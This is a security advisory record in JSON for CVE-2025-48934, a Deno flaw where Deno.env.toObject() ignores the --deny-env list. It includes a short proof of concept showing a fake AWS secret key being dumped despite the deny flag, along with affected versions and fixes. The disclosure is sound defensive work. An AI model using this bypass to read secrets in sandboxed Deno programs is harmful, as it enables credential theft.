CVE-2025-48934: Deno Deno.env.toObject() Ignores The Variables Listed Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7w8p-chxq-2789",
  "modified" : "2025-07-02T18:31:08Z",
  "published" : "2025-06-04T21:18:18Z",
  "aliases" : [ "CVE-2025-48934" ],
  "summary" : "Deno.env.toObject() ignores the variables listed in --deny-env and returns all environment variables",
  "details" : "### Summary\nThe [Deno.env.toObject](https://docs.deno.com/api/deno/~/Deno.Env.toObject) method ignores any variables listed in the `--deny-env` option of the `deno run` command. When looking at the [documentation](https://docs.deno.com/runtime/fundamentals/security/#environment-variables) of the `--deny-env` option this might lead to a false impression that variables listed in the option are impossible to read.\n\n### PoC\n\n```\nexport AWS_SECRET_ACCESS_KEY=my-secret-aws-key\n\n# Works as expected. The program stops with a \"NotCapable\" error message\necho 'console.log(Deno.env.get(\"AWS_SECRET_ACCESS_KEY\"));' | deno run \\\n  --allow-env \\\n  --deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -\n\n# All enviroment variables are printed and the --deny-env list is completely disregarded\necho 'console.log(Deno.env.toObject());' | deno run \\\n  --allow-env \\\n  --deny-env=AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY -\n```\n\nThe first example using `get` exits with the following error:\n```\nerror: Uncaught (in promise) NotCapable: Requires env access to \"AWS_SECRET_ACCESS_KEY\", run again with the --allow-env flag\nconsole.log(Deno.env.get(\"AWS_SECRET_ACCESS_KEY\"));\n                     ^\n    at Object.getEnv [as get] (ext:deno_os/30_os.js:124:10)\n    at file:///$deno$stdin.mts:1:22\n```\n\nThe second example  using `toObject` prints all environment variables:\n```\n[Object: null prototype] {\n  ...\n  AWS_SECRET_ACCESS_KEY: \"my-secret-aws-key\",\n  ...\n}\n```\n\n### Impact\nSoftware relying on the combination of both flags to allow access to most environment variables except a few sensitive ones will be vulnerable to malicious code trying to steal secrets using the Deno.env.toObject() method.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "deno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.1.13"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "deno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.2.0"
      }, {
        "fixed" : "2.2.13"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "deno_runtime"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.212.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/security/advisories/GHSA-7w8p-chxq-2789"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-48934"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/pull/29079"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/commit/2959e083912420988066a001c2b2d6732a1b562f"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/commit/946ccda1aa19a00c478a5e6826b75053b050d753"
  }, {
    "type" : "WEB",
    "url" : "https://docs.deno.com/api/deno/~/Deno.Env.toObject"
  }, {
    "type" : "WEB",
    "url" : "https://docs.deno.com/runtime/fundamentals/security/#environment-variables"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/denoland/deno"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-201" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-06-04T21:18:18Z",
    "nvd_published_at" : "2025-06-04T20:15:24Z"
  }
}